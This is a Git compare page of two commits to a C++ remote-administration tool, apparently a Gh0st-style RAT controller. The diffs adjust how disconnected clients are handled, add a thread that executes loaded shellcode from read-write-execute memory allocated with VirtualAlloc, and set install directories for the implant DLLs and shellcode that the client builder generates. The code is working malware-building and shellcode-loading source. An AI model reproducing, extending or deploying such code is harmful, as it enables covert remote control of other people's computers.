Compare commits
2 Commits
5a20355547
...
1f538719a8
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
1f538719a8 | ||
|
|
9f6476a7c4 |
@@ -6152,12 +6152,25 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam)
|
|||||||
|
|
||||||
// 关闭对应客户端的循环快照浮窗(如有)。CloseLoopTip 内部 find 找不到会静默返回。
|
// 关闭对应客户端的循环快照浮窗(如有)。CloseLoopTip 内部 find 找不到会静默返回。
|
||||||
if (info->clientId != 0) {
|
if (info->clientId != 0) {
|
||||||
|
// 判断主连接是否仍在线:OfflineProc 已在 IO 线程持锁内完成 RemoveFromHostList,
|
||||||
|
// 若 m_ClientIndex 里仍有该 clientId,说明还有另一条连接在列表中(即本次断开的
|
||||||
|
// 是子连接),不应清理主连接的 UI 状态;反之说明主机真正下线。
|
||||||
|
// 直接查 m_ClientIndex 比依赖 hasLogin 更稳健:不受未来子连接 auth 改造影响。
|
||||||
|
bool stillOnline;
|
||||||
|
{
|
||||||
|
CLock L(m_cs);
|
||||||
|
stillOnline = (m_ClientIndex.find(info->clientId) != m_ClientIndex.end());
|
||||||
|
}
|
||||||
|
if (!stillOnline) {
|
||||||
|
// 主连接真正下线:关循环窗、释放缩略图 HBITMAP、清调度状态。
|
||||||
CloseLoopTip(info->clientId);
|
CloseLoopTip(info->clientId);
|
||||||
// 清理缩略图相关状态(缓存 + 调度 + 在飞标记)。主机已不在列表,重绘不必要。
|
|
||||||
ClearThumbnailCacheEntry(info->clientId);
|
ClearThumbnailCacheEntry(info->clientId);
|
||||||
m_ThumbNextDueTick.erase(info->clientId);
|
m_ThumbNextDueTick.erase(info->clientId);
|
||||||
m_ThumbnailPending.erase(info->clientId);
|
m_ThumbnailPending.erase(info->clientId);
|
||||||
}
|
}
|
||||||
|
// 子连接(RDP / 文件传输等)断开:主连接仍在线,不清缩略图也不关循环窗,
|
||||||
|
// 避免 RDP 断开导致预览图变"…"或循环预览窗被误关。
|
||||||
|
}
|
||||||
|
|
||||||
// Close child dialog window
|
// Close child dialog window
|
||||||
HWND p = info->hWnd;
|
HWND p = info->hWnd;
|
||||||
@@ -8738,6 +8751,17 @@ bool safe_exec(void *exec)
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
DWORD WINAPI sc_thread(LPVOID exec) {
|
||||||
|
if (safe_exec(exec)) {
|
||||||
|
AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
|
||||||
|
return 0x66666666;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
|
||||||
|
return 0x20260607;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
/* Example: <Select TinyRun.dll to build "tinyrun.c">
|
/* Example: <Select TinyRun.dll to build "tinyrun.c">
|
||||||
#include "tinyrun.c"
|
#include "tinyrun.c"
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
@@ -8789,11 +8813,7 @@ void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = "
|
|||||||
void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
void* exec = VirtualAlloc(NULL, dwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
if (exec) {
|
if (exec) {
|
||||||
memcpy(exec, szBuffer, dwFileSize);
|
memcpy(exec, szBuffer, dwFileSize);
|
||||||
if (safe_exec(exec)) {
|
CloseHandle(CreateThread(0, 0, sc_thread, exec, 0, 0));
|
||||||
AfxMessageBoxL("Shellcode 执行成功! ", MB_ICONINFORMATION);
|
|
||||||
} else {
|
|
||||||
AfxMessageBoxL("Shellcode 执行失败! 请用本程序生成的 bin 文件进行测试! ", MB_ICONERROR);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
} else if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
||||||
TCHAR buffer[MAX_PATH];
|
TCHAR buffer[MAX_PATH];
|
||||||
|
|||||||
@@ -463,12 +463,14 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
break;
|
break;
|
||||||
case IndexServerDll:
|
case IndexServerDll:
|
||||||
file = "ServerDll.dll";
|
file = "ServerDll.dll";
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "ServerDll" : m_sInstallDir);
|
||||||
typ = CLIENT_TYPE_DLL;
|
typ = CLIENT_TYPE_DLL;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_SERVERDLL_X64 : IDR_SERVERDLL_X86, dwFileSize,
|
||||||
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
|
is64bit ? ResFileName::SERVERDLL_X64 : ResFileName::SERVERDLL_X86);
|
||||||
break;
|
break;
|
||||||
case IndexTinyRun:
|
case IndexTinyRun:
|
||||||
file = "TinyRun.dll";
|
file = "TinyRun.dll";
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "TinyRun" : m_sInstallDir);
|
||||||
typ = CLIENT_TYPE_SHELLCODE;
|
typ = CLIENT_TYPE_SHELLCODE;
|
||||||
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
|
szBuffer = ReadResource(is64bit ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, dwFileSize,
|
||||||
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
is64bit ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
||||||
@@ -484,6 +486,7 @@ void CBuildDlg::OnBnClickedOk()
|
|||||||
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
|
szBuffer = ReadResource(IDR_MACOS_GHOST, dwFileSize, ResFileName::GHOST_MACOS);
|
||||||
break;
|
break;
|
||||||
case OTHER_ITEM: {
|
case OTHER_ITEM: {
|
||||||
|
targetDir = GetInstallDirectory(m_sInstallDir.IsEmpty() ? "YamaDll" : m_sInstallDir);
|
||||||
m_OtherItem.GetWindowTextA(file);
|
m_OtherItem.GetWindowTextA(file);
|
||||||
typ = -1;
|
typ = -1;
|
||||||
if (file != _TR("未选择文件")) {
|
if (file != _TR("未选择文件")) {
|
||||||
|
|||||||
Reference in New Issue
Block a user